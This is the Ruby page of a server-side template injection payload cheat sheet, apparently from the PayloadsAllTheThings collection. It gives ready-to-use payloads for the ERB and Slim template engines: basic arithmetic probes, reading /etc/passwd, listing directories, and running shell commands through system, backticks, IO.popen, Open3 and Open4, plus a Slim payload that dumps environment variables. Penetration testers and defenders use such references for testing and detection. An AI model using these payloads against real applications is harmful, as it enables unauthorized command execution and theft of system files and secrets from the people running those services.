PayloadsAllTheThings/Server Side Template Injection/Ruby.md
2024-10-23 13:59:18 +02:00

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# Server Side Template Injection - Ruby
## Summary
- [Ruby](#ruby)
- [Ruby - Basic injections](#ruby---basic-injections)
- [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
- [Ruby - List files and directories](#ruby---list-files-and-directories)
- [Ruby - Code execution](#ruby---code-execution)
## Ruby
### Ruby - Basic injections
**ERB**:
```ruby
<%= 7 * 7 %>
```
**Slim**:
```ruby
#{ 7 * 7 }
```
### Ruby - Retrieve /etc/passwd
```ruby
<%= File.open('/etc/passwd').read %>
```
### Ruby - List files and directories
```ruby
<%= Dir.entries('/') %>
```
### Ruby - Code execution
Execute code using SSTI for **ERB** engine.
```ruby
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
Execute code using SSTI for **Slim** engine.
```powershell
#{ %x|env| }
```
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